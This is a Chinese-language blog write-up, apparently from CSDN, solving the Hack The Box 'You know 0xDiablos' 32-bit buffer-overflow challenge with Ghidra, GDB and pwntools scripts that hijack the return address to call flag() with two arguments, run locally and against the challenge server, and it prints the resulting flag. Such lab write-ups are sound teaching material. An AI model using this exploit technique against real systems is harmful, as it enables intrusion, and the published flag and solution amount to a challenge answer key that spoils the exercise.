hackthebox-Tracks-Beginner_Track-You_know_0xDiablos

文章详细描述了一个32位系统的ROP(Return-OrientedProgramming)挑战,通过分析程序、利用缓冲区溢出、绕过缺少的安全机制(如栈cookie和ASLR),找到并构造exploit来调用flag()函数,最终获取到flag的内容。过程包括使用Ghidra逆向工程工具,GDB调试,以及在本地和远程服务器上的exploit执行。
摘要由CSDN通过智能技术生成

这是一个 32 位 ROP挑战(缓冲区溢出)

只提供了一个文件和服务器的IP地址:

Vuln是一个 32 位 Unix 文件。我使用Kali Linux来运行这个文件。

使用 ghidra 工具查看 vuln

新建一个项目

不共享项目

项目文件和路径

导入文件

翻阅函数发现

初步判断可能存在溢出

使用 checksec 工具查看目标程序开启了哪些保护机制

能够看到该程序没有任何堆栈 cookie,从而允许我们覆盖返回地址。由于未设置 PIE,因此也没有 ASLR,因此,可以将特定地址覆盖到 RETURN 地址的位置。

印刷大量“A”测试它能否进行 BOF。

程序报错

如果我们启动 gdb,我们可以使用“info file”命令来查看入口点的地址。果然,入口点与start()的地址相匹配

在gets()之前和之后设置断点,分析堆栈以确保只需要 184 字节(local_bc需要 180 字节 + 寄存器 EBP 的 4 字节)到达返回(RET)地址的位置

在再次运行程序之前,我们可以如下所示设置断点。

(gdb)b *0x08049291

0x08049291 处的断点 1

(gdb)b *0x08049296

0x0804296 处的断点 2

(gdb)r

当我们使用命令“x/60x $esp”分析堆栈时,我们可以看到vuln()的返回地址位于堆栈上的 0xffffd10c。返回地址可以通过将其与调用vuln( ) 后 main()中的下一条指令进行比较来证明,

vuln()的返回地址

当继续 GDB 上的程序输入了 184 个“A”并再次查看了堆栈的内容。然而,返回地址之前还需要 4 个字节的“A”

python3 -c "print('A'* 184)"

(其中蓝色框是我们溢出的“A”的最后 4 个字节,红色框是vuln()的返回地址)。这可能是由于填充以确保程序的堆栈与 16 字节对齐。这表明我们需要 188 个 'A' 才能到达返回地址。(一个字母占一个字节,一行为16个字节)

当分析程序的功能时,注意到 flag() 函数将有助于打印flag

这允许构建脚本以在本地注入漏洞,直到调用flag()函数。尝试使用字节序格式来发现程序以小字节序格式在堆栈上存储/读取内容。使用以整数类型来提供地址的符号目录轻松获取flag()的地址。使用p32()打包它,因为我们需要一个 32 位地址。运行下面的代码将向我们打印“Hurry up and try in on server side”。

from pwn import *

context.update(arch="i386", os="linux")

elf = ELF("./vuln")

# 在返回地址的位置之前到达的偏移量

offset = b"A" * 188

# 制作 exploit: offset + flag()

exploit = offset + p32(elf.symbols['flag'], endian="little")

r = elf.process()

r.sendlineafter(":", exploit)

r.interactive()

成功执行flag()函数

要打印标志,需要两个参数。这可以很容易地在 Ghidra 的汇编代码中看到,其中十六进制被正确转换

请记住,使用 RET跳转到flag() 。这意味着flag()会认为自己有一个返回地址。因此,我们应该在写入2个参数之前填充任意4个字节的内容。

from pwn import *

context.update(arch="i386", os="linux")

elf = ELF("./vuln")

# 在返回地址的位置之前到达的偏移量

offset = b"A" * 188

# 制作 exploit: offset + flag() + padding + parameter 1 + parameter 2

exploit = offset + p32(elf.symbols['flag'], endian="little") + p32(0x90909090) + p32(0xdeadbeef, endian="little") + p32(0xc0ded00d, endian="little")

r = elf.process()

r.sendlineafter(":", exploit)

r.interactive()

在同目录下创建一个flag.txt

执行脚本

成功获取到 flag.txt的内容

构造exploit

from pwn import *

context.update(arch="i386", os="linux")

elf = ELF("./vuln")

# offset to reach right before return address's location

offset = b"A" * 188

# craft exploit: offset + flag() + padding + parameter 1 + parameter 2

exploit = offset + p32(elf.symbols['flag'], endian="little") + p32(0x90909090) + p32(0xdeadbeef, endian="little") + p32(0xc0ded00d, endian="little")

r = remote("178.128.171.82", 31599)

#r = elf.process()

r.sendlineafter(":", exploit)

r.interactive()

运行脚本

成功获取flag

HTB{0ur_Buff3r_1s_not_healthy}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值